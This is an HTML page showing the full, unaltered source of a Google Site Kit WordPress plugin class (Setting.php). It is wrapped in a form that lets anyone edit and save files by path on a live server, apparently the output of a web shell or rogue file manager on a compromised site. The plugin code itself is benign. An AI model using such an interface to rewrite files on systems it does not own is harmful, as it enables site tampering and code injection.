<h2>File Contents: /home/planet5/www/wp-content/plugins/google-site-kit/includes/Core/Storage/Setting.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/google-site-kit/includes/Core/Storage/Setting.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * Class Google\Site_Kit\Core\Storage
 *
 * @package   Google\Site_Kit\Core\Storage
 * @copyright 2021 Google LLC
 * @license   https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0
 * @link      https://sitekit.withgoogle.com
 *
 * phpcs:disable PHPCS.Commenting.RequireDocTagDescription -- Pre-existing violations; tracked for follow-up cleanup.
 */

namespace Google\Site_Kit\Core\Storage;

/**
 * Base class for a single setting.
 *
 * @since 1.2.0
 * @access private
 * @ignore
 */
abstract class Setting {

	/**
	 * The option_name for this setting.
	 * Override in a sub-class.
	 */
	const OPTION = &#039;&#039;;

	/**
	 * Options instance implementing Options_Interface.
	 *
	 * @since 1.2.0
	 * @var Options_Interface
	 */
	protected $options;

	/**
	 * Setting constructor.
	 *
	 * @since 1.2.0
	 *
	 * @param Options_Interface $options Options_Interface instance.
	 */
	public function __construct( Options_Interface $options ) {
		$this-&gt;options = $options;
	}

	/**
	 * Registers the setting in WordPress.
	 *
	 * @since 1.2.0
	 */
	public function register() {
		register_setting(
			static::OPTION,
			static::OPTION,
			array(
				&#039;type&#039;              =&gt; $this-&gt;get_type(),
				&#039;sanitize_callback&#039; =&gt; $this-&gt;get_sanitize_callback(),
				&#039;default&#039;           =&gt; $this-&gt;get_default(),
			)
		);
	}

	/**
	 * Subscribes to updates for this setting.
	 *
	 * @since 1.118.0
	 *
	 * @param callable $callback Function taking $old_value &amp; $new_value parameters that gets called when option value updates.
	 * @return \Closure Function to remove added listeners.
	 */
	public function on_change( callable $callback ) {
		$option = static::OPTION;

		$on_add_option = function ( $_, $value ) use ( $callback ) {
			$callback( $this-&gt;get_default(), $value );
		};
		add_action( &quot;add_option_{$option}&quot;, $on_add_option, 10, 2 );

		$on_update_option = function ( $old_value, $value ) use ( $callback ) {
			$callback( $old_value, $value );
		};
		add_action( &quot;update_option_{$option}&quot;, $on_update_option, 10, 2 );

		return function () use ( $option, $on_add_option, $on_update_option ) {
			remove_action( &quot;add_option_{$option}&quot;, $on_add_option );
			remove_action( &quot;update_option_{$option}&quot;, $on_update_option );
		};
	}

	/**
	 * Checks whether or not the option is set with a valid value.
	 *
	 * @since 1.2.0
	 * @since 1.3.0 Now relies on {@see Options_Interface::has()}.
	 *
	 * @return bool True on success, false on failure.
	 */
	public function has() {
		return $this-&gt;options-&gt;has( static::OPTION );
	}

	/**
	 * Gets the value of the setting.
	 *
	 * @since 1.2.0
	 *
	 * @return mixed Value set for the option, or registered default if not set.
	 */
	public function get() {
		return $this-&gt;options-&gt;get( static::OPTION );
	}

	/**
	 * Sets the value of the setting with the given value.
	 *
	 * @since 1.2.0
	 *
	 * @param mixed $value Setting value. Must be serializable if non-scalar.
	 *
	 * @return bool True on success, false on failure.
	 */
	public function set( $value ) {
		return $this-&gt;options-&gt;set( static::OPTION, $value );
	}

	/**
	 * Deletes the setting.
	 *
	 * @since 1.2.0
	 *
	 * @return bool True on success, false on failure.
	 */
	public function delete() {
		return $this-&gt;options-&gt;delete( static::OPTION );
	}

	/**
	 * Gets the expected value type.
	 *
	 * Returns &#039;string&#039; by default for consistency with register_setting.
	 * Override in a sub-class if different.
	 *
	 * @since 1.2.0
	 *
	 * @return string The type name.
	 */
	protected function get_type() {
		return &#039;string&#039;;
	}

	/**
	 * Gets the default value.
	 *
	 * For use with register_setting and fetching the default directly.
	 * Returns false by default for consistency with get_option.
	 * Override in a sub-class if different.
	 *
	 * @since 1.2.0
	 *
	 * @return mixed The default value.
	 */
	protected function get_default() {
		return false;
	}

	/**
	 * Gets the callback for sanitizing the setting&#039;s value before saving.
	 *
	 * For use internally with register_setting.
	 * Returns `null` for consistency with the default in register_setting.
	 * Override in a sub-class.
	 *
	 * @since 1.2.0
	 *
	 * @return callable|null
	 */
	protected function get_sanitize_callback() {
		return null;
	}
}
</textarea><br><button type='submit'>Save Changes</button></form><a href='?dir=%2Fhome%2Fplanet5%2Fwww%2Fwp-content%2Fplugins%2Fgoogle-site-kit%2Fincludes%2FCore%2FStorage'>⬅ Back to Directory</a>